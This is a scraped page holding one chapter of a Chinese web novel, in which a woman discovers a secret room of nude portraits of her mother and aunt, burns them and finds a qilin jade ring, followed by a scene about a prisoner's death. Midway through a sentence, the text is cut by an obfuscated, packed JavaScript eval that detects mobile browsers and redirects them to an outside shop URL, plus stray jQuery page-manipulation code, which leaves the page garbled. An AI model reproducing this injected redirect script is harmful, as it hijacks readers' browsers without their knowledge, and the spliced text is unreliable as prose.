默认冷灰
24号文字
方正启体

118. 画像

作者:北洄本书字数:K更新时间:
    这个虽说大却终究还是一眼扫过去便可将全貌收入眼底的房间罢了。


    是以宣忆谙一眼便看见房间里靠着墙摆着一张床,而墙上挂满了一张又一张女人赤身裸体的画像。


    宣忆谙僵硬的拖着腿慢慢走至那些画像前想要看清那画像上女人的脸。


    身体似乎知道主人的心中所想,身体的每一个关节僵硬的像锈迹斑斑的铁块似的,艰难缓慢的挪动。


    即便动作再缓慢,近在眼前的东西还是清晰地映入宣忆谙的眼中。


    墙上挂着上百张赤身裸体闭着眼睛沉睡的女人不同姿势的画像,画像上的女人是她的母亲沈清和她的姨母沈槐。


    宣忆谙身形晃了晃,勉强维持住自己不至于摔在地上,她走近了离自己最近的一张画像的跟前。


    取下画像端视这上面人的面容。


    是她阿娘。


    沈清在宣忆谙的记忆中一直是端庄娴静,一举一动都能看出家中对她的教养。


    宣忆谙对她不多的记忆中从未见她有过任何失礼的言行举止,可画像上的她却是……


    宣忆谙看着沈清的脸,看着她逐渐模糊在自己的视线中,一滴泪水“啪嗒”一声滴落在画纸上,晕染了上面工笔勾勒的线条。


    她扬起头试图让眼中的湿意在眼眶中散开,宣忆谙又拿下一张画看清上面画着的是沈槐后,眼眶中不断汇聚着湿意,直到浅浅的眼眶再也装不下那些泪水后,泪水重重坠下砸在地上留下一滴又一滴的泪痕。


    即便这些年宣忆谙知道沈清和沈槐曾遭遇到什么,但是那些仅仅只是知道,这些刺目的场面沈清和沈槐从未让宣忆谙看见过。


    一个人没有见过的场面是不可能凭空想象出来的。


    她也仅仅是想要为母亲的死报仇,仅仅是为母亲和姨母所遭受到的屈辱报仇。


    她想象不出来她的两个亲人遭受到的屈辱原来是这样的。直到现在她亲眼从满墙的画像中窥见几分其中不能言说的委屈、屈辱。


    很快宣忆谙便哭到哽咽,哭到眼前一阵发白,每哽咽一次耳朵根就生疼一次。


    宣忆谙蹲在地上把脸埋在双臂间闷声大哭,那哭声把正在外间找她的文心和乔娘引了过来。


    两个人进来当然也看见了墙上不能言说的画像,乔娘看见自己从小陪着一起长大的沈清出现在了自己的眼前。


    与宣忆谙不同的是,乔娘是知道几分当年隐藏在真相下的不堪的。


    只不过她时刻谨记着沈清死之前让她发的毒誓,绝不可告诉宣忆谙她遭受了什么,她只需照顾着宣忆谙好好地长大嫁个好人家远离着魔窟便好。


    只不过沈清忘了宣忆谙可是她唯一的孩子,女儿知道母亲的死有疑,怎么可能不去为母伸冤报仇。


    乔娘看着画像上的沈清亦是泣不成声,她在宣忆谙身边蹲下身一只手在她病后单薄了一圈的背上安抚的拍着。


    宣忆谙感受到有人在拍自己的背,她抬起头才发现乔娘和文心来了。


    她站起身把脸上的泪痕反手擦去,深吸一口气咽下自己的哽咽:“把这间密室仔仔细细地搜一遍。”


    文心听后利索的开始把这里的一桌一椅搜个遍,宣忆谙则亲自把满屋子的画像全部取下来。


    乔娘见状也跟着她一齐把这些画像收下来交给宣忆谙,百余张画像近六成是沈清,余下的都是沈槐。


    “把这些画像烧了,烧个干净,一张都不能留。”宣忆谙尽力让自己从悲痛与怨怒中找出几分理智,这里的东西决不能继续留在这。


    “是。”乔娘知道这其中的利害,当即去准备烧这些东西的工具。


    这间房除了一张床一张书案外旁的再无其他,文心把这两个能藏东西的地方里里外外找了个遍也没有找出任何可疑的东西。


    文心把床榻被褥整个翻过来找了个遍也没有找到对她们来说是蛛丝马迹的物什。


    她不得不承认这里被人打扫的很好,即便有什么也早已被清除不会留到现在让她们发现。


    文心转身看了眼宣忆谙,还是什么都没有说,只是再把房间搜了一遍。


    宣忆谙的视线一直跟着文心的动作,她自嘲一笑,想让文心别找了,先出去把这些画像烧了。


    不过下一秒她就看见文心用匕首扒拉着床缝深处。


    宣忆谙心中已经渐弱的火苗逐渐又开始燃烧,她走过去就看见文心正好把深藏在床缝深处的一个落满了灰尘的东西扒拉了出来。


    那个物什滚在宣忆谙的脚下撞到她垂在地上的衣衫,在上面留下一个灰印子后停了下来。


    宣忆谙弯腰捡起地上的物什,是个玉扳指。


    文心问:“王妃,这是什么?”


    她最后搜寻床榻之时无意间将床边的帷幔挑起,她嫌碍事遮挡了自己的视线于是欠身把那的帷幔全部扯了下来,这一扯便露出了藏在床缝最深处墙角被人遗漏的玉扳指。


    宣忆谙把玉扳指上厚厚的一层灰擦拭干净,露出扳指上的图案,上面的图案是一只麒麟。


    麒麟,皇权的象征。


    宣忆谙凝望着手上的扳指久久没有移开视线,倏地笑了一声,这一笑把文心吓了一跳,她看见宣忆谙只是从鼻腔中发出一声冷笑,但面色依旧森寒。


    文心以为她会说些什么,可最终宣忆谙什么也没有说,只是抱着怀里厚厚一摞画像走出了密道,走到院子中去。


    院子中,乔娘已经找到了一个火盆,用枯枝点起了火堆。


    宣忆谙把怀中的画像一张一张扔进火堆里,看着有了燃料燃烧地更旺,迫不及待的将画像吞进火舌中,将其燃烧殆尽。


    文心和乔娘拿过宣忆谙怀中的画像,不想再让她多看,这也不是什么可以欣赏的画作。


    主仆三人一言不发,静静站在原地把那些画纸统统烧干净后在院子中最高最粗壮的枣树下挖出几米深的土坑,将燃烧后的灰烬尽数深埋在地底。


    做完这一切后宣忆谙走出这个宅邸,走到街巷上,她看见这个宅邸真的就在皇城脚下,若是驾车一炷香的时间都不用便可进宫。


    真是个好地段啊。


    乔娘和文心互相对视一眼,宣忆谙自从看见那个玉扳指后就一句话都不说,自顾自地想丢了魂一样游走在街上,有几次若不是文心动作及时她就撞到了行人身上。


    ——


    刑部。


    越明归看着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16706283|170489||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    手里文观言的卷宗,不满地瞥了眼倚在一旁坐没坐相正磕着瓜子的越沛:“你说你好端端的杀了他干什么,这下好了,都已经昭告天下这几个人要被拉到闹市斩首,人现在死了,我斩谁的首?”


    他有心让这个人来帮自己,他倒好,借着宣夫人病逝要回去陪王妃这一回就是五六日,要不是自己三催四请这会恐怕都见不到他安王爷的人。


    不帮忙也就算了,这还给自己添麻烦。这会还好意思在那嗑瓜子。


    越沛满不在乎地往他手中写得密密麻麻的卷宗扫视过去:“文观言在牢中畏罪自尽不就得了,反正是要死的,何必拘泥什么死法?”


    “那你为何要杀他?”越明归问。


    越沛奇道:“谁跟你说他是我杀的,我走的时候他可活得好好的。”


    越明归:“……”


    越沛是倒没骗他,文观言的确是在他走后才吐血身亡,但并不代表越沛不知道文观言什么时候死的。


    只不过他刚从文观言那得到一个秘密要快些回去找宣忆谙无暇顾及那个本来就要死的人,更没有顾得上差人告诉越明归罢了。


    仵作给文观言验过尸,在他体内发现一根银针,正是这根针要了他的命。


    越明归展开巾帕中包着的银针给越沛看。


    这根银针再普通不过,街市中随便都能买得到,并没有什么特殊的。刑部想要从这根银针查出文观言的死因没有那么容易。


    越明归虽不清楚其中的细枝末节,但他清楚文观言的死绝不会是越沛所为,他没必要给自己找麻烦,否则自己也不用帮他掩饰。


    不然这会他就应该在刑部的牢房中而不是在这嗑着瓜子。


    不是越沛,那会是谁能在刑部的眼皮子底下杀人于无形?


    文观言在朝为官多年不是个与人结怨的人,恰恰相反,他与朝中百官反而相交甚好。


    他也不参与党争,与人结仇被杀的可能性也不大……那他究竟是被何人所杀?


    这些猜测砸文观言不日被斩的前提下根本站不住脚,越明归忍不住揉了揉额角。


    越沛嗑着瓜子看越明归头疼,心中一点想法都没有,更别说帮他分担几分。


    越沛:“文观言死了,那他的案子可算结了?”


    越明归停了他的话警觉起来:“死因尚未查清如何能结案?”


    “你怎么这么古板。”越沛颇为嫌弃的评价,然后说:“你就说他在牢房中畏罪自杀不就行了。若是担心百姓不信那你便把他的尸体拉到闹事曝尸几日。”反正百姓只要知道他是个死,至于怎么死,谁会在意?


    越明归思忖一番,觉得这是个好注意,若将文观言被杀之事闹出来只会给自己徒添烦忧。他这些时日都是住在刑部的。


    越沛看他听进去了扯回自己一开始就要说的:“文观言的案子结了,那我也该回去了,谙儿病了,我得回去照看她。”


    说完头也不回的走了,丝毫不在乎越明归在自己身后的脸色。


    出了刑部,越沛抬头看了眼日头,快些回去还能赶上陪宣忆谙用午膳。


    越沛带着赵寻刚到安王府门口就看见从王府的马车另一个方向缓缓驶来。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)